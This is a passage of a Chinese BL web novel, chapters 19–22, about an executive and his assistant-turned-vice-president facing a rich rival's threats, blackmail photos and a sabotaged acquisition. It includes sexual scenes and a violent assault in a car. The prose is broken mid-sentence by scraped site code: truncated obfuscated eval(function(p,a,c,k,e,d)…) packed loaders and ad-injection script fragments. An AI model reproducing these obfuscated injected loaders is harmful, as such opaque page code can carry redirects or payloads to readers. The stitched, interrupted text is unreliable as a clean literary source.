害怕靠的近了,拆穿他是罪人的那天,落在他脸上的巴掌也会越狠。 萧疏父母也有点躲着他,无他,两人觉得,他们这么多年过来了,说没一点感情谁信,他们又做不到在说过大话的前提下,再反水收拾方闻钟,所以眼不见心不烦。 随萧疏去吧。 他们当缩头乌龟。 不乏有不安好心的,来他们这里告状或试探,萧疏和男人在一起了,还是他身边的助理,你们就任由发展啊? 他们说:“真的假的?不可能,别乱说。” 然后跑开,去外面游山玩水,不顾背后被说傻白甜。 “哎,”萧夫人感慨:“孩子就是债啊……” 萧父眼巴巴地钓着他的鱼,嗯嗯啊啊地回应着…… “方总,”曾经,在公司里跟方闻钟嘻嘻哈哈的一帮人,现在,有些升职了,有些转部门,但都算得上他的下属,方闻钟是他们公司的副总。 在他面前开玩笑,聊工作以外的事的人少了,汇报和求助多了很多。 每天见到的,都是拘谨、严肃的面容。 有时候,方闻钟看着他们,三三两两挤在一起,捂嘴说着悄悄话,也在想,话题的主人,是不是也有他,可是,这些都不该是他在意的事了,有太多东西,占据了他的神思。 所以他的确不知道,公司里确实有八卦,说大总裁萧总,和方副总其实是一对,有嗑CP的,自然也有鄙夷的,咦,更有什么都不懂的大直男,卧槽,别乱说,你们要不要命了! 落在方闻钟身上的视线,有偷偷打量,尤其他和萧疏站一块儿,确实有几个姑娘难掩激动地看着他们。 无论是好的、坏的,哪怕人尽皆知,现在似乎也影响不到方闻钟了。 曾经,他很怕很怕公司里的人,哪怕有一点窥探出他和萧疏上过床的关系,可现在,为什么任它去了,为什么任大众猜测,方闻钟不明白自己的心理为何转变的这么夸张,他只知道,没人敢站在他面前,亲口问出这个问题。 不幸的是有次回他那边的出租屋,萧疏生气他因为工作的事长达一周多不回应他,直接追到他家,两人在楼下就亲起来了。 那里没有外人,谁都不认识他们,方闻钟刚开始还反抗,很不好意思,后来就顺着萧疏,低声哄他,任他亲,任他摸。 一番结束,回头就看到,黄可可站在不远处,眼睛睁大傻傻地看着他! 黄可可认出了萧疏,曾经在方闻钟旧出租屋楼梯上见过,那么帅那么有钱的人她一辈子可能就只会碰到一次,当然印象深刻。 此时,萧疏的眼神扫过来,玻璃镜片下,那相似的驱逐,让黄可可后知后觉反应过来,当时,他就是去找方闻钟。 他很不喜欢她。 方闻钟,和男人在一起了?他是同性恋吗?还是他一直是? 黄可可越想越攥着包,脸白白的。 她一直站在那里不走,两人当然得有反应。 方闻钟推开萧疏,整理了一下自己的衣服,把萧疏一个人留在车前,过去问黄可可,“有事?” 黄可可经过几年成熟了,再也不是当初说什么是什么的女孩子,她微微一笑,抬头,“没事,我说不小心路过你信吗?” 其实这几年,方老师的朋友圈经常发一些她在山区教学的照片,看得出来,那帮孩子很快乐,而方老师,尽管老了,也一点一点,和黄可可记忆中的老师重叠在一起,她可能依旧严肃,但笑容多了很多,慈祥了很多。 黄可可经常点赞,方闻钟却一次没有。 她还疑惑,他们家出什么事了吗?她完全不知道,此次路过,单纯因为刚和朋友逛完附近的商场,这边比较繁华,她就走一走,散散心。 谁能想到,这都能碰到。 方闻钟没说话,黄可可看着他,突然笑了一下,提醒他,“嘴巴破了。” 方闻钟果然,刚才还面无表情,这一下,脸色生动的有一点薄红,他摸着好像是有点疼的嘴角,肯定是萧疏啃破了。 黄可可笑着笑着,突然就眼泪涌出来了,她也说不上为什么。 明明,明明她和他,没有过后续,明明,她都算不上多喜欢他。 方闻钟僵了一下,轻轻说了句:“对不起,”为当初的隐瞒。 “没什么啊,”黄可可迅速偏过头,擦掉眼泪,然后转过头大声说:“祝福你们,”然后她就跑开了。 萧疏走过来,站在方闻钟身后,“还不舍呢,”声线慵懒又低沉。 方闻钟对他翻白眼,“你下次能不能轻点。” 萧疏显然也看到了他嘴唇上的一点血色,说道:“方闻钟,你怎么越来越不禁折腾……” 两人上了楼,一夜通明。 后来,黄可可还是没忍住查了查萧疏的身份,官网很好找,而他和方闻钟的照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他视线里好像只有这里的萧疏,从未包容过别人,朋友看他那眼神,跟萧疏说:“你的床伴,怕不是把你当所有物,”那个眼神,可比曾经乔晟的心上人追萧疏锋利多了,占有欲超绝,却藏在底下。 不让任何人看到。 “你信不信,他绝对爱你。”他转过头,没看方闻钟,擦过萧疏的耳朵说。 他的嘴唇,和他的耳朵,有一瞬间真的蹭一起了。 朋友是故意的,他提醒萧疏,“我总觉得他有一天会翻出你的手掌心,你最好注意点。” 方闻钟,怎么有种平静下的不要命感。 方闻钟已经走过来,礼貌地笑了一下,朝朋友抬手,试图接过萧疏,“萧总喝醉了?” 萧疏吸了一口烟,烟雾吐出来,模糊了他的神色。 朋友左看右看,难道是他看错了,猜错了?方闻钟这看着挺正常的嘛,挺有自知之明的…… 他们二人要走,背影一高一低,“喂!萧疏,我说的话你信不信!” 他声音很大,方闻钟都回头了,萧疏却只是用夹烟的手,淡淡抬起来摆了摆。 方闻钟爱你,你信吗? 19. 第 19 章 家里的精油用完了,那是萧疏特意买的国外牌子,方闻钟嘟囔,又不是什么东西都是国外的好,他觉得那东西每次都让他有种控制不住的发骚感,所以不太情愿用。 萧疏倒是好脾气,“反正是给你用,你自己挑。” 这次,方闻钟就戴着口罩,像做研究调查一样,一本正经地在一个大药店买了一盒。 没有特殊味道,没有特殊作用,只有润滑,很好,就是它了。 他付了钱装口袋里。 收银员头都没抬,很快给他扫过去,可是在男人走后,才偷偷伸出头去,看方闻钟的背影。 他穿着一件大衣,大衣包裹住了他的身形。 收银员暗暗尖叫,好帅啊! 好绝一男的! 他开车去机场接萧疏,萧疏这次出差又快一周了,关上车门,方闻钟靠着车百无聊赖地玩着手机,大概过了二十分钟,注意了一下时间,萧疏快到了。 他关上手机。 方闻钟那么认真地在等待萧总,自然注意不到,还有一个人,从刚才就盯了他好久。 一点一点,靠近他。 周子琪这些年越发不像样子,身材发福,脸一圆一胖,再加上他常年混迹酒色的眼神,给人一种很生厌的感觉,尤其是他穿着颜色肤浅的西装,嘴角莫名勾起像时刻准备作弄人的样子,靠近就让方闻钟立马皱眉。 周子琪当然也看到了他的不欢迎,顿时气愤。 哼,换几年前方闻钟敢这么给他脸色吗。 他是什么东西,不就是抱着萧疏的大腿,给人随便操才有今天的地位吗。 周子琪恶劣地看着方闻钟,“方助理,还记不记得我啊?” “我可是你和萧总的媒人,当年,我就帮了你一把呢,”他朝方闻钟挑眉。 方闻钟不躲不避地看着他的眼睛,嘴唇却是动都没动,周子琪恼火,故意更贴近方闻钟警告他,“别忘了你的身份,你就是个从下面爬上来的穷小子,和我们这种天生出生于金窝银窝的人不一样,别哪天找不着自已了从高处摔下去,会摔得很狠的。” “我碾死你,就像碾死一只蚂蚁那样简单,”周子琪背后还有为他撑腰的周家,所以方闻钟在他面前认不清形势狂什么。 他的咬牙切齿,只换来方闻钟淡定地把手机揣兜里,却不小心带出来一个别的东西。 他刚脚步一顿,准备弯腰。 周子琪先一步低头,立马捡起来! 盒子上的外文他没看懂,但几乎是下意识地拆掉了包装,此时,方闻钟磨了磨牙,对待他不像刚开始那么漠视,周子琪的狠话,在如今的他看来连小孩子的威胁都不如! 幼稚,无趣。 他衡量不了他的力量,方闻钟要真下功夫做些什么,绝对够一整个周家喝一壶! 到时候周子琪绝对会被他爸压着给方闻钟道歉! 不是萧疏,是方闻钟。 他自己就可以,毁掉他的金窝银窝。 看周子琪极不礼貌地把精油瓶子握在手里,左右看了看,然后越来越诡异。 方闻钟眼底锋芒毕露。 “还给我。” “方闻钟,”他惊喜间叫了他的名字,周子琪别的不精通,这点可瞒不过他,尤其现在拆了外包装,露出里面液体的东西就在他手上,他还能不明白这是干什么的吗? 他晃着瓶子,“这什么?” “自己玩儿自己啊,还是方便萧疏弄你?哦对了,你在这里应该是在等他,拿着这东西在等男人啊,方助理,没想到你这么急迫,下面是不是已经……,忍不了了?” 他与他分毫之差,就算对男人不感兴趣,调戏侮辱的话还是张口就来,“要不要我来满足你啊?” “我还没试过男人的味道呢,尤其你这样的老男人,不知道为什么萧疏口味那样死掉在一棵树上……” 方闻钟手背青筋突起,猝然间,一个戴着黑色皮手套的胳膊从他面前伸过来,拿走了周子琪手里的东西。 周子琪没防一下抬起头来。 是萧疏。 是穿着一身大衣,戴着玻璃眼镜,皮质手套还未拆,刚下飞机,年龄的增长给他带来的全是深不可测和不敢招惹的萧疏! 方闻钟都准备打人了,这一下,浑身松下来,他看了萧疏一眼。 萧疏拍了拍他肩膀,意思是坐前面去开车。 方闻钟不管萧疏怎么处理周子琪,是随便放过他也好,还是言语警告他,他在后视镜看着,就见萧疏把周子琪邀请上了后座。 他们两人坐在宽敞的后面,方闻钟这次来开的是萧疏的车。 方闻钟诧异,回头,很茫然。 周子琪有些拘谨,不明白刚才萧疏语气平淡地邀请他一起上车是什么意思,他还有其他事呢,不过萧疏的话,他没办法不当一回事,那是威胁,不照做是有代价的。 他还不知道,他照做的代价是什么。 方闻钟开车远离,萧疏一下把后面的挡板拉下来,就听到,砰的一声,周子琪被萧疏一脚踹角落里蜷曲着了。 车晃了一下,在行驶中很轻微的感觉,方闻钟看着头顶的镜子,勾唇。 周子琪呻吟,弯腰看着他的萧疏,感觉像恶魔一样靠近。 他不自主地求饶,看到萧疏手抬起来,还以为他又要打他,腰上痛得快麻木了,腿也像抽筋了,他抬起手臂放在头顶。 看他防守的动作,萧疏冷漠的脸依旧不见一丝动摇。 被周子琪把玩过的精油瓶子,被萧疏拧开来。 他捏住他的下巴,不管不顾一下朝他嘴里倒进去了大半! “咳咳咳!”唔,周子琪疯狂挣扎,又踢腿又试图拽萧疏的胳膊,而捏在他下巴上的手,像一把坚硬的钳子一样! 后座的动静持续了几分钟,方闻钟不知道发生了什么,有点好奇,直到周子琪的动静快下去,快没了。 他被萧疏吓哭了,一张脸又是眼泪又是口水和其他混合物。 萧疏一手撑在腿上,一手还戴着手套,两只手指就伸进他嘴里搅了搅,周子琪只觉自己的舌头,嗓子,这一刻都像被吊起来,被残忍的蹂躏,他干呕着快翻白眼晕死过去。 “萧疏,萧……放过我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一阵酥麻,萧疏必须得承认,他被他这不知死活的行为撩到了,指尖自然用力了点,像刚才对待周子琪那样对他,但他对方闻钟总是留着手的,不会让他难受,只会让他满足。 口水,顺着他两根手指,流过腕表下的皮肤,萧疏停住。 方闻钟嘴巴含着东西微张着,不解地看他。 “占有欲这么强啊,带着手套碰过别人也不行?” “嗯,”方闻钟垂眼,低声道:“你是我一个人的。” 似恶魔低语,似说给自己的悄悄话,让自己甜蜜,让自己上天,只要,只要那人没否定就行。 “呵,”萧疏笑了一下,抽出来手指,在他衣服上,一下一下,全擦干净。 “换别的吧。” “嗯。” “明天给我买副手套。” 满足了上面,换到下面时萧疏说。 “好。” 20. 第 20 章 周子琪自然咽不下这口气,三十多年还是头一次被人用这么狠的方式折磨过,几天吃不下去东西,看见什么都吐,甚至对萧疏这个名字都有点闻风丧胆了。 但是他却不想放过方闻钟,这一切都是因为方闻钟!他恨得五官扭曲起来。 又因想到他身边的男人,瑟瑟发抖。 他不出手,总有一个人可以帮他出手的是不是。 周子琪呵呵笑着,嗓子像哑了很久的破锣。 顾芙雅还没放弃和萧疏联姻呢,那女人等了四年,也是偏执的可以,近来圈子里都知道萧疏和方闻钟的关系,还猜测他们在一起,绝对不短了。 但没人跑到顾芙雅面前跟她说,找不痛快。 顾芙雅一心想着在自家公司做出些实事来,再骄傲地跟萧疏提要求,所以抛开外面一切纷扰,还挺努力。 有顾夫人惯着,再怎么着也是自己的亲妹妹,看她能力还行,不出彩,但至少不会犯大错,顾芙泽就任她在公司里横着来,摆大小姐架子。 顾夫人在圈子里和其他豪门主母关系可不好,不然为什么没人告诉她,萧父和萧夫人一点儿没有再给萧疏联姻找门当户对的妻子的想法…… 她还做着让萧疏当她女婿的梦。 到时候,不光是雅雅幸福,她顾家也能更上一层楼,彻底甩开其他豪门。 顾芙泽对顾芙雅就没那么多关心,看她年纪大了,萧疏的事,他身为圈中人,怎么可能没听到过传言,但是没在顾芙雅面前提起过一句。 她是认真的也好,玩玩也罢,都不影响他。 反正也都不会成功,顾芙泽对这个占据了父母所有疼爱,却总把他当外人的妹妹,没有一丁点好感。 周子琪的传话,经过几个无关紧要的人,还是传到了顾芙雅耳朵里了。 “你说什么?”顾芙雅一把把桌子上的东西全推到地上,动作大到一只耳环都掉了,她怒睁着眼,说道:“你说那个方助理,和萧疏哥哥在一起了?” “不可能,不可能,他是个什么东西!” 又是一把,顾芙雅把桌面清理干净!还直喘着气,精致又紧致的面容,有片刻难看,她倏地抬起头,“不对,不是这样的!” “是那个助理爬上了萧疏哥哥的床!是他不要脸引诱了萧疏哥哥对不对?” 听着大小姐一口一个萧疏哥哥,听她骂方闻钟,他们这些人还能说什么呢,只好垂着头,让顾芙雅以为默认。 “哼,哼,”顾芙雅气得后退了几步,她不禁想到,好几年前,一开始,她去找萧疏哥哥,就是那个助理,拦下她,不让她上去,还让她自重。 自重?呵,自重。 女人捏着拳头,“方,闻,钟。” “那你怎么不自重,竟敢来跟我抢萧疏哥哥。” 顾芙雅接受不了自己马上唾手可得的东西,提前被其他人摘了桃子,而且,而且还有那么多圈内人知道,私下偷偷看她笑话。 看她一口一个,“我和萧疏哥哥会结婚的。” 捏着咖啡杯的手指因用力而泛青,她的指甲长而尖,虽然很华丽,但连端杯子这样的动作都不方便,以前还能看出稚嫩的顾芙雅,现在也成了个混迹职场,攻击性又强面容又摄人的女人。 直到方闻钟在她面前落座。 她才久久看着眼前这个几乎已经完全没印象的男人。 他曾经,也是这样碍眼吗? 方闻钟之所以会来,是一个女客户骗他来的,但已经走到店外了,看着里面等他的顾芙雅,方闻钟没道理怕她,立马回去。 东道主一般地点了一杯咖啡,方闻钟才有空观察顾芙雅。 头发披散下来,眼尾上挑,红色的紧身连衣裙,女人在天冷的时候这样穿,方闻钟总是不理解,真的不冷吗?她脖子里手上的珠宝,方闻钟知道,随便哪件,都够他以前几年挣的,他因为一个猜测,突然笑了一下。 顾芙雅这是来示威了,行头不少。 就是香水味有点呛。 方闻钟吸了吸鼻子,离得远了点。 看他这么自在,一点不心虚,顾芙雅先坐不住了,她想嘲讽他,又觉得浪费时间,直接把一张卡推过去,“这里面有一千万,离开萧疏。” 方闻钟低着头,闻着咖啡的香味,卡片在他眼下,他抬头,“顾小姐,在顾氏集团干得怎么样?” 顾芙雅惊了一下,什么意思? 眉间难免带上些疑惑和思考。 方闻钟浅浅喝了一杯咖啡,“如果你在顾氏集团,坐到了我这个位置,应该就知道,一千万,不值得我抬一下眼,一个亿,打动不了我,十个亿,或许我会斟酌,毕竟当年猎头挖我的时候,是这个数的三倍,所以顾小姐,你能出到一百亿吗?” “你在说什么!”惊惧间,顾芙雅的声音又尖又刺。 她难以置信。 卡片被推回去,“所以别过家家了。” 方闻钟竟一点不怕她,他不怕她来拆穿他不怕她找他麻烦吗?她可是萧疏名义上联过姻的未婚妻!而他不过是个上不得台面的床伴罢了! 还是男性! 说出去都会笑话,圈子里哪家会让男人和独子继承人走得太近。 “方闻钟,你别给脸不要脸!” 这类程度的话,已经损害不了方闻钟,顾芙雅也知道,所以她不管不顾地威胁其他:“你不怕你父母知道吗?你被一个男人包养了,你说我拍点你们的照片给他们寄过去怎么样?”顾芙雅恶劣地说。 “你不怕萧叔叔和萧阿姨知道吗?你有胆子在他们面前顶着萧疏哥哥的情人露脸吗?你看萧叔叔会不会把你直接赶出去,让你成为阴沟里的老鼠,路边随意踩的垃圾!” “你如今的一切不就是靠萧家得来的吗?你在跟我炫耀什么?你不配站在萧疏哥哥身边!” “能站在他身边的,就只有身为顾家千金的我,方闻钟,我拿一整个顾家陪嫁,你说怎么样?你拿什么和我比,哼,不自量力。” 越说,顾芙雅越觉得没必要把方闻钟太当回事。 方闻钟也停下动作,好像这些真的震慑到他了。 “你也就只敢偷偷摸摸的,方闻钟,你敢在公司里大张旗鼓地攀上萧疏吗?哦,你不敢,不只是同事、董事会,容不下你!我相信萧疏哥哥,也对你没感情!” “他绝对不会爱你的!”顾芙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雅笃定地说,以她,以任何一个人对萧疏的了解。 萧疏没到为了一个男人的程度,拒绝婚姻,往后让萧家绝后。 方闻钟卷翘的睫毛,如同落上了一层厚厚的看不见的湿气,再也没眨过。 顾芙雅说了那么多,还是戳到了他心里。 方闻钟心里藏着很多事,所有关于萧疏的,都被他包裹在一个巨大的柔软的黑色皮球里,那皮球散发着丝丝黑气,偶尔也会调皮的快乐的,好心情滚来滚去。 今天,皮球被戳破了一个大洞。 方闻钟怎么控制,都控制不住里面的东西流淌出来,所有关于萧疏的东西,四处乱窜在他身体任意一个地方栖息,除了那些,还有更多更多,数不清的黑气,也一点一点,争先恐后泄露出来。 距离五年之约,还有不到一年。 方闻钟平静地想着。 他在饱受针刑,却要维持最体面的样子。 “像第一次那样跟在我身后,看我和萧疏哥哥谈天说地不好吗?” 顾芙雅还记得他第一次见她,卑躬屈膝的样子,恨不得把她立马捧到萧疏跟前。 “方闻钟,”顾芙雅靠近他的脸,脸上露出一个大大的志得意满的笑,“萧疏哥哥,还会联姻的。” 冰咖啡下肚,方闻钟还在说:“那也可能不会是你。” “你知道的,”他微微笑,“萧疏一贯喜欢最有用的,最有价值的。” 说得顾芙雅心里一紧,方闻钟也渐渐愣了,他对萧疏,有用吗?是最有价值的吗? 萧疏,喜欢他吗? 顾芙雅才不会在方闻钟面前露怯,“你一个上不得台面的东西就别替我担心了,我有家族,就算萧疏哥哥有别的考量,萧叔叔萧阿姨也会喜欢我接纳我。” “方闻钟,你真可怜,”顾芙雅又道,好像今天一言一行都是来出气的,势必要把方闻钟气死,“到时候我和萧疏哥哥结婚了,你呢?” “哦,你也三十多岁了,方助理,再找一个男人吗?还是你也去和一个什么都不懂的小姑娘结婚,骗她?” “我都替她嫌脏,”她恶毒地说。 人走了,方闻钟脸色憋得胀红,咳咳咳,捂着胸口人快咳到了椅子底下。 “先生,先生?需要帮忙吗?” 方闻钟死死抓住侍者的手,抬起身,站起来,他说:“不需要。” 男人走出去的步伐,亦如他走进来。 他们顾家可真是有意思,先是顾芙雅,又是顾夫人,偷偷摸摸来找方闻钟,顾夫人听到消息后花容失色,一点不敢透露给女儿,就想赶紧来把这个祸害处理掉! 又是卡片。 方闻钟无趣,“要不你跟女儿回家再商量商量?” 顾夫人:“……?” 萧疏问他,这两天怎么都出去见女客户,方闻钟恶毒地说了一句:“见女客户会让我倒霉,我预感到我快要倒霉了,所以提前以毒攻毒。” 这套说辞换来萧疏不解后的一个白眼。 只叫他别整没用的。 “萧疏,什么是有用的?我对你最有用吗?” 萧疏认真思考了一番,确定道:“嗯。” 21. 第 21 章 方闻钟和萧疏出席同一个活动的照片,被明晃晃大屏展示在顾芙雅的手机上。 照片里,有一个老者背对着和萧疏握手,方闻钟站在他半身后,也微笑地看着。 这张照片不止出现在商业新闻上,还因为萧氏集团的官网转发,不知怎么就被普通网友发现了,传播得铺天盖地,虽然很快被公关撤下去,但那些刺眼的评论还烙印在顾芙雅心里。 “好般配啊!” “头一次见这么帅的总裁和副总!” “……” “还有一张背影图你们没看到,里面个子高一点的男人,手好像搂另一个男人腰上了!啊啊啊啊真的不能嗑吗,我真的觉得他们不清白!” 大小姐今天又在公司乱发脾气,伺候的人小心翼翼,对她的告诫,方闻钟丝毫没放在心上,顾芙雅又气又迫不及待地想要立马做些什么!把方闻钟那张可恶的嘴脸打压下去,她才能顺心! 顾芙雅已经知道了母亲也知道这件事情。 顾夫人面对她时相当小心翼翼,看顾芙雅没被打击到,反而更有信心,顾夫人也就鼓励她,“雅雅,相信妈妈,妈妈一定会帮你的。” 几天后,方闻钟突然收到一个威胁邮件。 邮件内容是:你说我把这个发给萧叔叔萧阿姨怎么样?方闻钟,再给你一次机会,尽快离开萧疏,你不要再挑战我的底线。 附件是一张照片,在方闻钟家里,里面亮着灯光,萧疏背靠着窗户,方闻钟依偎地趴在他身上,他抱着他,嘴巴贴着他的脖子亲吻。 方闻钟闭着眼,高清照片连他脸上的睫毛都清晰可见,更不用说他爱慕的表情。 方闻钟看着电脑屏幕,看着看着,突然就笑了,他坐着椅子转了一圈,再转回来时,笑容消失。 顾芙雅的逻辑方闻钟永远猜不透,如果她真对萧疏势在必得的话,不去萧疏面前让他认个眼熟,跑来他这里一次次的宣誓主权,清理“第三者”干什么。 问萧疏顾芙雅是谁,现在恐怕萧疏都会想一下。 方闻钟从不怀疑萧疏可能重新联姻,可能结婚。 他自己都说过了,他的人生有极清晰的规划,会在三十五岁结婚,还有……七天,就是萧疏三十五岁的生日,他做好了随时结婚的准备吗? 随时跟他说:方闻钟,结束,退回你该在的位置上。 方闻钟现在光靠想,想着想着就能把自己想流泪,“呵,”他缓缓吐出一口气,能伤到他的,从来不是顾芙雅的威胁,无论她要做什么,是告诉很多很多人,还是直接在萧疏父母面前拆穿。 所以,其实那张照片是他故意让人拍到的。 抱着萧疏时,方闻钟不知道在想什么,他们背后是黑暗的夜色,亦如他和他可能的未来,哪怕当下,怀里还是温热的。 他借着她的手,把自己再往悬崖边上推一点,他享受这种自虐的感觉,想看看,到那时一脚落下去了,会不会有人抓住他的手。 能伤到他的从来就只有萧疏一个人! 生日当天,本来萧疏都准备好好犒劳一番方闻钟。 方闻钟却突然道:“你不许动,这次听我的。” 他把萧疏的手捆起来,用他的领带,萧疏意外,眼神里散发着寒意,胆子大了,他一腿曲着,就那么冷漠地看着身上衣服比他还少的方闻钟忙碌。 他与其是说在伺候他,不如说是在满足自己。 唇滑过唇,萧疏也会受不住地抬起头来,脖子里青筋再现,很多时候,他是控制者,这次,方闻钟看着他被他“控制”,心里灼热得要爆炸。 方闻钟一个没注意,就被萧疏咬住了耳朵,说不动手就不动手,手被捆着,萧疏就那么自然放在前面,“继续,重一点。” 他要什么,方闻钟偏不给什么,他就是想折磨他。 哪怕在床上能做到也行,方闻钟亲着亲着,突然就趴萧疏肩膀上,侧过头眼泪下来了。 萧疏感觉到了湿意,问他怎么了。 方闻钟:“爽的。” 萧疏:“……” 全程没让他动手,方闻钟一直努力地直着腰,哪怕腿软抽筋,还在逞强,萧疏刚开始陪他在兴致里,后来实在求不得,毒舌骂他,“方闻钟,不行就滚下去。” 方闻钟就不!他还胆子大地捂住了萧疏的嘴。 最后,萧疏是气的,他自己倒出来了身子发抖还对萧疏道:“今天就这样。” “我他妈来是为了让你玩的?” “对!”方闻钟哭过很柔软,却坚硬道:“你不许再要了。” 啵得一声。 萧疏一个人被留在床上。 蛋糕上的蜡烛之前被吹灭了,萧疏没许愿,方闻钟却拖着残破的身子,坐在蛋糕前。 背后是萧疏在收拾。 他闭着眼微笑,许愿:萧疏能不能不结婚? 在他生日当天,他许愿他断子绝孙,方闻钟觉得自己真不地道,寿星还没来,他就直接弄了一小口蛋糕喂嘴里。 这么甜的味道里,他品尝出了悠长的苦味。 正像他,一生如此漫长,属于他的十年,马上就要过去了…… 萧疏坐在他背后,像抚摸着一只猫儿,一下一下,摸着他的下巴,方闻钟一直在吃蛋糕,萧疏一口没动,他闭着眼靠着沙发睡着了,方闻钟放下叉子,起身挤在他怀里。 和他一起睡着。 萧夫人收到顾芙雅发来的照片,和萧父说:“果 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然他们在一起过生日,你儿子今天电话都不给我们打。” 手机举到跟前,萧父看了眼照片,像辣眼睛似的赶紧皱着眉头错开了。 “哼。” 他们全然没意识到顾芙雅是来告密的,只抓住了重点,还以为他们一起过生日,照片是今天才拍的。 “怎么办啊?” “啊。” “一天到晚就知道钓鱼!钓鱼钓鱼能给你钓出孙子来?” 萧父手里的鱼竿被萧夫人一把拍下去,萧父难得考虑了半晌,说了句明理话:“你觉得,就算萧疏正常结婚,他顺你心意,要孩子的可能性多大?” 萧夫人一顿,萧疏的叛逆和自我,可是从小到大,给他们留下了深刻的阴影! “所以最好别抱期待,随他去吧。” 萧夫人:“你什么时候想的这么开了?” 萧父:“我这是开明。” 萧夫人:“哼,我看你是一天天玩这玩那乐不思蜀。” 萧父涨红了脸,“不跟妇道人家计较!” 萧夫人又看着照片,照片中她儿子只有背影,还不是在看方闻钟。 “小方啊,小方,”她眉眼慈祥,“这些年你变化还挺大的,想到你第一次跟在萧疏后面,弯着腰,一双干净的眼睛看我们……”她声音越来越小。 顾芙雅和顾夫人等了几天,不可置信!萧疏父母那边真没反应!怎么可能? 顾芙雅急切地说:“肯定是他们接受不了,还没想好怎么处置!肯定是受打击太大了!”她一丁点不愿想他们接受方闻钟的可能。 顾夫人以己度人,也觉得完全不可能。 所以说:“雅雅,我们主动出手吧,就是一个小助理,妈妈会帮你弄走的。” “你要怎么做?” 顾夫人摸着顾芙雅的头,“萧疏那边公司里,董事会有一个说得上话,和妈妈有些交情,是你魏叔叔……让他犯错不就好了,他如果造成公司巨大损失,所有股东都会让他离开的……萧疏也保不了……” “妈妈,真的能做到吗?” “能,”顾夫人保证,“大不了我们付出一点代价,为了你的幸福,是值得的。” “好,”顾芙雅垂下眼,蛇蝎心肠,却乖巧如兔子。 萧氏集团有一例近年来最大的收购案,是方闻钟负责的。 长达十月之久的企业合并,终于在他操控下,一点一点,快落下成功的帷幕。 就在临门一脚,就在庆祝的火焰快燃起,一把大火,突然烧翻了整个台子。 收购爆雷,对方有一笔巨额隐藏债务,他们这边估价过高,将会给企业和股东带来不可估量的利益损害。 收购,失败。 22. 第 22 章 所有部门都很忙,办公室里,走廊里,涉及到的人员要么肃着脸嘴巴不停地打电话,要么抱着资料跑来跑去,承受力弱点的,已经快哭了。 罪魁祸首方副总,没人这时候怪罪他,因为他们都是打工的,且不论方副总会承担什么责任,这次收购案出大问题,他们每一个人都前途未知呢。 方闻钟大踏步从楼梯间上来,拥挤的电梯只坐到下面二楼,他抬着腿,西装裤随着皮鞋急促又沉重地落在地面上,在膝盖处折出一道又一道褶皱。 方闻钟跑上来,终于喘了口气,往萧疏办公室去。 萧疏办公室门大开着,里面有很多人。 争吵声不断。 就围绕着方闻钟。 他停下。 “萧总,那不是几千万的债务,不是随便就能承担的坏账或其他什么!那是二十三亿的价款!二十三个亿!一笔大宗交易的土地,我不明白方副总为什么会犯这个错误,连这个都调查不出来!” 说话者咄咄逼人。 被收购公司,突然多了笔需要支付的土地价款,也就是说,他们在很早之前就竞拍或其他手段拿到这块地,但迟迟未结清,现在,时间紧迫,债务却落到他们身上! 方闻钟当初很看好他们,所以给出的对价相当可观,现在能不能用未来收益弥补且不说,公司实在拿不出这么多的现金流! “萧总,这会让公司陷入巨大的财务危机的!财务报表你看了吗?”抖着那么厚的文件,另一人说:“别说二十三个亿的现金流,刚结束收购对价,十个亿的现金流都困难!” “到时候资金链断裂,萧总,你还要看着更大的损失来临吗!” 他们的焦急是认真的,为方闻钟造成的大窟窿也是实打实地担心、厌烦。 “他方副总一个人捅的马蜂窝,凭什么让我们所有股东承担损失?” “我提议:直接解雇方闻钟。” 简单粗暴的处理方式,换来萧疏一个冷淡抬眼,顿时齐齐闭声,解雇他又怎么样,就算让方闻钟净身出户,赔偿一部分给公司,能解决问题吗? “把那块地的资料拿给我看看。” 有人恭敬递上,萧疏单手接过,“先出去吧。” 他视线已经不看办公桌前的众人,众人自然不敢再忤逆打扰他,只能先出去,等萧总决定怎么解决。 出去看到站在门口的方闻钟,有人悄悄看一眼,立马低下头从他身边迅速略过。 有人哼一声,“方副总不引咎辞职,还有闲心在这里听墙角?” “真当以为抱上大腿就可以万事无忧了……” 他们的背影离去,那句小声嘀咕还在耳边,这是第一次,公司股东当着他的面,点破看不上他依附萧疏的关系。 方闻钟垂下眼,敲了敲门,准备进去。 他刚走进去,“萧总。” 萧疏摆摆手,“出去吧。” 他不可能没听出他的声音,所以,让他出去也是认真的,方闻钟脸色发白,他很久没有这样慌张过了,攥着拳头,使劲使自己冷静一点,思考当下该怎么解决。 萧疏越严肃,就说明他越不想听造成这个后果的原因,他只关注解决结果。 方闻钟迈开僵硬的腿,转身离开,至此,都没有得到萧疏的一个眼神。 第二天,商业新闻版面全是萧氏集团恶意收购,收购完却面临承担巨额债务。 这个债务债权人还是国字开头的。 第三天,各种专业人士发表意见,萧氏集团或面临现金流短缺的财务危机! 股价连续三天,由一开始下跌到出现跌停! 萧氏集团终于出来公关,说会承担企业应承担的责任,债务问题也不用过度忧心,巨轮不怕触礁! 他们的自信,这才稳住了股价,但对内,股东的情绪却越来越大。 方闻钟终于拿出了解决方案,这几天,他和萧疏一直未有过工作以外的接触,大家都明里暗里躲他,他一个人苦苦熬了几个夜,才拿出这么一份文件。 文件里详细列明了他调查过的资料,那块土地,很可能是最近才突然转到公司名下的,而且手续不太合规,摆明了是一个局。 这些都不重要,重要的是!方闻钟看了那块地!他觉得,大有可为。 